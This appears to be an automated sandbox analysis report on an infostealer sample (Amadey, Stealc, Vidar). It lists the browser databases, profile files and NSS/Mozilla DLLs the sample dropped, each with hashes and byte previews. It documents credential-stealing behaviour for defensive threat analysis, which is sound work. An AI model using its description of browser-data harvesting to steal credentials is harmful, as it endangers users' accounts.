	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BAFCFBAEGDHIEBFHDGCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBGCBKFBGIIIECAAAKFCAEBAAA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03708713717387235
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxW/Hy4XJwvnzfXfYf6zfTfN/0DApVJCI:58r54w0VW3xW/bXWzvACzbJ0DApVJ
MD5:	85D6E1D7F82C11DAC40C95C06B7B5DC5
SHA1:	96EA790BA7A295D78AD5A5019D7EA5E9E8F4B0BD
SHA-256:	D9AD18D2A91CB42FD55695B562D76337BBB4A6AEB45D28C4554297B4EE0DC800
SHA-512:	5DD2B75138EFB9588E14997D84C23C8225F9BFDCEA6A2A1D542AD2C6728484E7E578F06C4BA238853EAD9BE5F9A7CCCF7B2B49A0583FF93D67F072F2C5165B14
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHDHCGHDHIDHCBGCBGCAEBAKEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCAAEGIJKEGHIDGCBAEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCFCAAEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIIEBAFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2651130936835289
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMcSAELyKOMq+8QTQKC+CVumq:K0q+n0Jc9ELyKOMq+8Q7x
MD5:	166073399886DF9232953FF24B2CE6ED
SHA1:	35E356B169FCE874468F95A21DB76766813339DC
SHA-256:	48249C94BCEDF3951FF923036885C94E7E8F93C17E2C538E3833A866E63C96FF
SHA-512:	DB951EDF4C1249E7A3438513EFD27C2A732695E07B73E32AC8FB05506D3F204C40994E95669B130D70CF6E259BB16ED13F80AE3E4A86A1DC7682A6B9D377305D
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHDBAAFIDGDAAAAAAAA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	9976
Entropy (8bit):	5.499944288613473
Encrypted:	false
SSDEEP:	192:NzKneRdpYbBp6znmUzaX/6aRMKWPzDNBw8DK9mSl:Nz5eUmUtgmrwbw0
MD5:	42594FD09C4DF3B174CF5D59B1CAB13A
SHA1:	1B78FEB748C36A592C468A76BB60E98187D7BE4A
SHA-256:	F8B55E3B04E0A59BB745C43763D8FBC1CFFDBC247B5525A489B4B74A57319393
SHA-512:	E2430AB14ADF2EF1CC2CB1F96DEADAFB3598B803A5E7724FDDB68ACF015D7E052291626A3D100FED902731DBFD10A9AE3387581AD2867F64D0B27E8D51B9069F
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "38829aa4-f57e-4fd8-bfd3-d094d57ae30f");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696493966);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\02468d73-613e-4633-b50c-1a803acea7e3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44637
Entropy (8bit):	6.096055396986622
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kvGLmZUapU3/4u3FbIKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7ynfpU4KoRTuiVIos
MD5:	AC375FA9B9400EEEFCEDFBF49E8B7E22
SHA1:	D94CEAC6188F0075D903D138E65E4E3E0D840354
SHA-256:	4FC5A2607F9C130C6B53D002FCAB4472D6274D5AA0E8C2F50CC81F7A664E5A57
SHA-512:	D4B837A52F51B684375FD300CCFBE7BCEFC0FDAAB60337F85D0B6DB653E893A9CBE8452E24CE997FB7E9E418A79BA7A7EF57A78B85DB21B961721E3D5F98E72C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\10c4e5b4-b9db-4bd6-a828-9eb50079ddf2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46156
Entropy (8bit):	6.087805812519042
Encrypted:	false
SSDEEP:	768:aMkbJrT8IeQc5dXjjjLmZUapUR7eA4J6DPdPwdIQmxgxC1oLwWE7RTupzKscDX/K:aMk1rT8H1XYpUQIQ9IoLoRTuii
MD5:	DC5525D93B2ADB8B2E12679FB51D9B58
SHA1:	E0ACEB3F03C5500057C140A583C9CE837F8CD3EE
SHA-256:	4CB305C34C042C0C6971A9A311BEB184952A0284B609B9E715F59478A7C30783
SHA-512:	C49CA42C4AF9DBA0E6C41508D0218EF95DEF71B904E77E53B43E0CD68573F1736B227683CDA0C0949BED798B98B16128A36058BA77A204CEF0019B2A25F04DE3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"3a69139d-bb89-46fe-8ff1-e249a27738d9"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732780543"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1b11a2b9-1ab0-494c-85d2-e671459a3644.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46233
Entropy (8bit):	6.087721715042725
Encrypted:	false
SSDEEP:	768:aMkbJrT8IeQc5NKjjjLmZUapUR7eA4J6DPdPwdIQmxgxC1oLwWE7RTupzKscDX/K:aMk1rT8HFKYpUQIQ9IoLoRTuii
MD5:	A73DEF755A2058D114A7F1801D83C335
SHA1:	15276668B488DCCF1FF20949251CB36EBCDDDDA8
SHA-256:	693338CDD42052E303C63D5CB8EE0D5A3CC960F2FD40E6B3DA6BC0872490FD61
SHA-512:	77F5EC3C2D188C3CD96AB8B97E455D9413D0667F7C9E2E0132EFD6CE5D34FB6D11292A83DF61AAC23F4D832323CA307EBF218A633A00616874CF4974C756C0E5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"3a69139d-bb89-46fe-8ff1-e249a27738d9"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732780543"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\32f24791-3785-4401-b3fd-8399d7388949.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090561887302843
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMCLmZtntR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynctGhOxqQoRTuiVIos
MD5:	EC2C39B0A5DE83AC6FC36C5F7311689E
SHA1:	CC19B9D4B7D1F2A48605A230A8DB840D6124031A
SHA-256:	E07E81442CA2984F7A6BF483B930436129B820729F16777E6D90BB2C40AB5DF0
SHA-512:	878B1A706547CC72B0A8B86D7F3E5304EED7BA4DB9171C9B31A9271A112A08E4FD9C4F60B9E848FFFF8D613762ED95FC9B8DFAF85AA7D7223D06531AABE29DF3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4625d0ab-b41b-4dce-8282-68d7787ce43c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44637
Entropy (8bit):	6.096055396986622
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kvGLmZUapU3/4u3FbIKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7ynfpU4KoRTuiVIos
MD5:	AC375FA9B9400EEEFCEDFBF49E8B7E22
SHA1:	D94CEAC6188F0075D903D138E65E4E3E0D840354
SHA-256:	4FC5A2607F9C130C6B53D002FCAB4472D6274D5AA0E8C2F50CC81F7A664E5A57
SHA-512:	D4B837A52F51B684375FD300CCFBE7BCEFC0FDAAB60337F85D0B6DB653E893A9CBE8452E24CE997FB7E9E418A79BA7A7EF57A78B85DB21B961721E3D5F98E72C
Malicious:	false
